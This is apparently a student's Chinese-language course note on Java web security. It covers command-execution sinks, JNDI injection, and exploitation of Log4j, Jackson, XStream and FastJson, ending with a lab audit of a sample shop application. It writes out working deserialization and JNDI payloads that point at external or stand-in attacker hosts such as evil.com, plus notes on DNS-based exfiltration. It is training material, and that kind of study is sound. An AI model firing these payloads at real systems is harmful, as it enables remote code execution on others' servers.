文章目录
前记
- 今天是小迪安全的第六十七天,本节课是Java安全的第二讲,主要内容围绕JNDI注入、Java中五大不安全组件展开
- 这节课的内容比较多,然后以实战为主,建议代码审计部分自己审完之后再看笔记,多尝试几种思路
- 所用到的源码资源已放至下方链接,有需要的自取:
WEB攻防——第六十七天
Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网
Java安全 - RCE执行-五大类函数调用
原理
- 造成RCE的原因:
- 使用命令执行的方法
- 传入方法的参数可控
- 在Java中,常见的命令执行类/方法有:
RuntimeProcessBuilderProcessImplGroovyLoadJsExec
- 在实战中,黑盒主要是看参数名和参数值来判断是否有RCE;大部分都是通过白盒审计出来的,主要看是否有上面的类/函数,并且参数可控
靶场演示
Runtime
- 这个是我们举例子见得最多的RCE类
- 利用
Runtime主要是调用下面的代码造成漏洞:
String cmd;
Runtime.getRuntime.exec(cmd);
-
比如这里靶场中传入
calc命令,就直接弹计算器了:

-
这个没什么好说的,然后他的防御方式是进行黑名单/白名单过滤,只能使用指定的命令
ProcessBuilder
- 这个类主要是用来创建并启动操作系统进程(即运行外部程序或命令)
- 它产生漏洞主要的代码如下:
String[] cmdList = {"cmd", "/c", "ping -n 1 " + ip};
ProcessBuilder pb = new ProcessBuilder(cmdList);
process = pb.start();
-
这里
cmdList的意思是:- "cmd"调用Windows的
cmd.exe - "/c"表示执行完后面的命令就立刻退出
- "ping -n 1"表示执行的命令
- "cmd"调用Windows的
-
然后创建了一个
pb去执行,程序员会以为这个固定了写法很安全 -
但是我们可以通过管道符让他一次执行多个命令,造成RCE:

-
安全写法还是进行黑白名单过滤
ProcessImpl
ProcessImpl是一个底层的接口,上面的两个类也是实现的这个接口- 由于这个是个接口,所以要实现RCE需要通过反射的方式间接调用,漏洞代码如下:
// 反射得到ProcessImpl类
Class<?> clazz = Class.forName("java.lang.ProcessImpl");
// 获取其start方法
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
// 临时获取start方法的访问控制权限
method.setAccessible(true);
// 传入参数,调用start方法
Process e = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
- 靶场中可以自己尝试执行命令
Groovy
-
这个是一种开源的、基于JVM的动态语言,语法与 Java 高度相似,但写起来像脚本一样简洁。它既可以像 Java 一样编译成字节码
.class文件,也可以直接当成脚本解释执行。 -
它需要外部引入,但是直接运行在JVM之上:

-
这里产生漏洞的代码如下:
GroovyShell shell = new GroovyShell();
shell.evaluate(cmd);
- 它的执行语句是输入
"xxx".execute():

LoadJsExec
- 这个不是一个类,它的意思是通过加载远程的恶意JS代码,来造成RCE
- 但是这个东西在Java8之后移除了
ScriptEngineManager的eval方法 - 造成漏洞的代码如下:
public void jsEngine(String url) throws Exception {
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
String payload = String.format("load('%s')", url);
engine.eval(payload, bindings);
}
- 比如我们有这样一个JS代码:
var a = mainOutput();
function mainOutput() {
var x=java.lang.Runtime.getRuntime().exec("calc")
};
- 将他放到一个服务器上,然后加载这个文件:

Java安全 - JNDI注入-RMI&LDAP&版本
原理
- JNDI 全称为
Java Naming and DirectoryInterface(Java 命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI 支持的服务主要有:DNS、LDAP、CORBA、RMI 等RMI:远程方法调用注册表LDAP:轻量级目录访问协议
- 这些其实在前面的Java安全开发中全部讲过,造成漏洞的原因主要是因为调用到了
InitialContext().lookup()方法 - 在RMI服务中调用了改方法的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()com.sun.rowset.JdbcRowSetImpl.execute()javax.management.remote.rmi.RMIConnector.connect()org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
- 在LDAP服务中调用了改方法的类有:
InitialDirContext.lookup()Spring LdapTemplate.lookup()LdapTemplate.lookupContext()
- 在实战中,黑盒基本检测不出来;最主要的是白盒审计出来的,通过上面的类方法和可控变量来判断是否存在该漏洞
靶场演示
- 这里的话原生的JNDI注入就是通过看有没有上述的类调用了
InitialContext().lookup()方法 - 造成漏洞的代码如下:
public void vul(String content) {
try {
Context ctx = new InitialContext();
ctx.lookup(content);
} catch (Exception e) {
log.warn("JNDI错误消息");
}
}
-
比如这里我们通过之前的
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具去生成恶意的链接:

-
然后一个一个试,看哪个可以就用哪个:

-
这里就成功弹出了,需要注意的是,关于这个JNDI注入,一定要关注的就是JDK的版本:

-
当然也需要关注对方
SpringBoot和Tomcat的一个版本,才能针对性的使用这些payload
Java安全 - 不安全组件-JSON&XML&验证&日志
- 对于这些不安全的组件,测试思路如下:
- 黑盒中就看它哪里可能记录日志,然后到处乱插
payload测试,或者知道它用的一个版本,就直接通过历史漏洞打 - 白盒审计中主要是看当前程序用的这个组件是否符合漏洞版本,然后利用历史漏洞打
- 黑盒中就看它哪里可能记录日志,然后到处乱插
Log4j
基本信息
- 介绍:Apache的一个开源项目,是一个基于Java的日志记录框架
- 历史漏洞: https://avd.aliyun.com/search?q=Log4j
- 流量特征:
${jndi:rmi://ip/xxx}或${jndi:ldap://ip/xxx}
靶场演示
-
这里就直接源码审计一下吧,打开靶场的源码,然后搜一下有没有用到
log4j,版本是否过时:

-
比如这里用到了2.8.2版本,然后在刚刚的网站或者百度搜索一下有没有这个版本的漏洞:

-
所以这里是有的啊,然后我们就直接执行刚刚生成的
payload看看能不能执行:

Shiro
基本信息
- 介绍:Java安全框架,能够用于身份验证、授权、加密和会话管理
- 历史漏洞: https://avd.aliyun.com/search?q=Shiro
- 重大漏洞:
Shiro-550Shiro-721
- 流量特征:
setCookie=rememberMe
靶场演示
- 这里造成漏洞的原因是因为Shiro中有一个
rememberMe功能点,它使用的是硬编码密钥,因此可以利用默认的密钥进行反序列化造成RCE - 遇到这个的话就直接上工具了,前期也演示过,这里就不再演示了
Jackson
基本信息
- 介绍:当下流行的json解释器,负责处理
Json的序列化与反序列化 - 历史漏洞: https://avd.aliyun.com/search?q=Jackson
- 流量特征:
{
"@class": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://evil.com/Exploit",
"autoCommit": true
}
靶场演示
- 造成漏洞的原因是因为
Jackson-databind支持Polymorphic Deserialization特性(默认情况下不开启) - 当 json 字符串转换的
Target class中有polymorph fields,即字段类型为接口、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如TemplatesImpl,可以实现任意代码执行。 - 靶场当中写入上述
payload,让其加载我们的恶意代码即可造成RCE
XStream
基本信息
- 介绍:开源Java类库,能将对象序列化成XML或XML反序列化为对象
- 历史漏洞: https://avd.aliyun.com/search?q=XStream
- 流量特征:XML 里嵌 Java 类名 + 动态标签
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>
calc
</string>
</command>
</target>
<action>
start
</action>
</handler>
</dynamic-proxy>
</sorted-set>
靶场演示
- 造成漏洞的原因是其
1.4.16及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求,进而执行任意命令。 - 这里就不进行演示了,原理和上面的一样
FastJson
基本信息
- 介绍:阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean
- 历史漏洞: https://avd.aliyun.com/search?q=fastjson
- 流量特征:JSON中出现
@type字段,且值为Java全限定类名
靶场演示
- 漏洞产生的原因是因为
@type字段的值会被FastJson加载实例化解析 - 这里也不再进行演示,
payload长这个样子:
{
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "rmi://jndi.fuzz.red:5/ahld/test",
"autoCommit": true
}
- 原理都是差不多的
Yakit使用
-
这里我们可以使用Yakit中的各种工具去玩
-
比如dnslog、反连服务器、利用链等等:


-
更多的功能后续会讲到…
审计案例演示
-
这里使用小迪给出的某猫商城进行演示,首先解压压缩包,然后在IDEA中打开,先使用右边的
Maven进行clean再install:

-
然后修改数据库配置,打开
/src/main/resources/public下的application.properties和jdbc.properties,修改账号密码为自己数据库信息 -
做完这些之后,就打开我们的
Navicat,按照之前的操作导入数据库信息,这里用的数据库版本为MySQL5.7 -
导入完成之后就直接启动项目即可,访问
http://localhost:8088/tmall:

-
好,环境搭建好了之后,我们就开始审计漏洞了
-
我们这部分主要是关于Java中五大不安全组件的内容,因此我们可以在
pom.xml中直接搜索一下用了哪些组件、它的版本是否存在漏洞 -
比如这里就用了
log4j、fastjson这两个组件:


-
他们的版本分别是
2.10.0和1.2.58,这两个版本都是存在历史漏洞的 -
Log4j存在CVE-2021-44228的RCE漏洞,fastjson也存在反序列化RCE漏洞 -
所以我们现在就只需要找到哪里触发了这两个东西即可,我们一个一个找
log4j
-
这里我们首先是全局搜索一下log4j看哪些地方导入了这个包:

-
这里倒没几个文件有,第一个是配置文件不用管,剩下的就两个
java文件,一个一个查看发现他们都有这个语句:
protected Logger logger = LogManager.getLogger(BaseController.class);
Object o = session.getAttribute("xxxId");
logger.info("xxx",o);
-
但是因为这里是从
session中获取数据,实际上参数并不可控,但是它给我们提示了程序日志的产生语句是logger.info(xxx) -
于是我们去搜索一下还有什么地方是这种语法:

-
这里需要注意的是:IDEA不知道是什么特性,搜索的时候尽量多详细搜索几次。
-
比如这里,我直接搜
logger.info并没有小迪演示的功能点,但是搜logger.info("获取就出现了,所以搜索的时候尽量详细一点,可能会有意想不到的结果 -
那这里我们要找的是参数可控的,那其实很多地方都是可以尝试的,这里我们找到的是这个地方:

-
然后我们需要去找到网站中对应的路径,那这里就是
/admin/uploadAdminHeadImage的位置,上传管理员头像 -
那很简单了,我们先后台登录进去,然后上传图像,把图像名字改成jndi注入的
payload不就行了嘛 -
登录到后台
admin/123456,找到我的账户:

-
点击管理员头像,随便上传一张图片然后抓包:

-
这个路径对应上了,转到
Repeater模块,把filename改成我们的payload,比如这里在Yakit中生成一个Dnslog域名:

-
所以
payload就变成了${jndi:ldap://qcfxnhayxb.dgrh3.cn}:


-
成功执行,这里也可以试试其他地方,我试了几个都没成功,你们可以下去自己玩玩
Fastjson
-
同样这里全局搜索一下
fastjson看哪里导入了这个包:

-
也是有很多,这里产生漏洞的原因是因为解析JSON格式的数据,所以我们只需要找到解析的语句即可,一般都搜索这几个方法:
JSON.parse(JSON.parseObject(JSONObject.parse(JSONObject.parseObject(
-
这里主要是第二个方法用得最多:

-
然后我们就依次看看哪些地方的参数是我们可控的,这里我看的是第二个,然后它的JSON解析代码是这样的:
JSONObject object = JSON.parseObject(propertyJson);
-
于是我们往前去找这个
propertyJson是否可控,代码如下:

-
这里的请求路径是
admin/product,然后是POST请求,功能是通过添加产品信息,那说明这个可能是可以控制的 -
现在直接到管理员页面找到功能点,这个是很好找的:

-
可以看到都是对应上的,并且可以抓包看看路径是否对应上:

-
说明就是这里,根据功能提示我们点击“添加一件产品”:

-
填上相关信息之后,点击保存,我们抓包看到
propertyJson的值:

-
转到
Repeater模块,先将这个东西URL解码格式化,结果如下:
propertyJson = {
"1": "棉95.1%+聚氨酯弹性纤维(氨纶)4.9%",
"2": "宽松",
"3": "通勤",
"4": "常规",
"5": "长袖",
"6": "连帽",
"7": "拼色",
"8": "戚米",
"9": "18-24周岁",
"10": "2018年春季",
"11": "白色+红色+黄色"
}
- 那这个东西根据代码它会进行JSON解析为字符串,调用
JSON.parseObject()方法,而这个方法是FastJson提供的,所以我们直接将这个换成payload:
propertyJson = {
"1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://lxnjgkgbfx.zaza.eu.org",
"autoCommit": true
},
"2": "宽松",
"3": "通勤",
"4": "常规",
"5": "长袖",
"6": "连帽",
"7": "拼色",
"8": "戚米",
"9": "18-24周岁",
"10": "2018年春季",
"11": "白色+红色+黄色"
}
dataSourceName那里换成我们的dnslog地址,然后编码之后发包,很神奇的地方是这里它的地址是/admin/admin/product,如果在Repeater模块需要更改为/admin/product才能够正常发包,否则提示404- 而直接抓包后发包它会一直显示”保存中…“,搞不懂
- 研究了半天不清楚什么情况,最后按照小迪的
payload就可以了:
{"@type":"java.net.Inet4Address","val":"lxnjgkgbfx.zaza.eu.org"}

Java安全 - 不出网
- 一般都是没有回显判断通用方法:
- 直接将结果写在其本地静态资源文件中,如
html、js等,然后访问 - 虽然其不出网,但是DNS协议一般都是开通的,因此可以通过dnslog进行数据外带;如果连这个都关了,无法执行dns请求就没办法了
- 将命令执行的结果回显到请求Poc的HTTP响应当中
- 直接将结果写在其本地静态资源文件中,如
- 不回显常见判断细节方法参考文章:微信公众平台
—— Java安全&JNDI注入&五大不安全组件&RCE&不出网&spm=1001.2101.3001.5002&articleId=150550317&d=1&t=3&u=8864677c8b4a433e9a76317204185cd6)
1150

被折叠的 条评论
为什么被折叠?



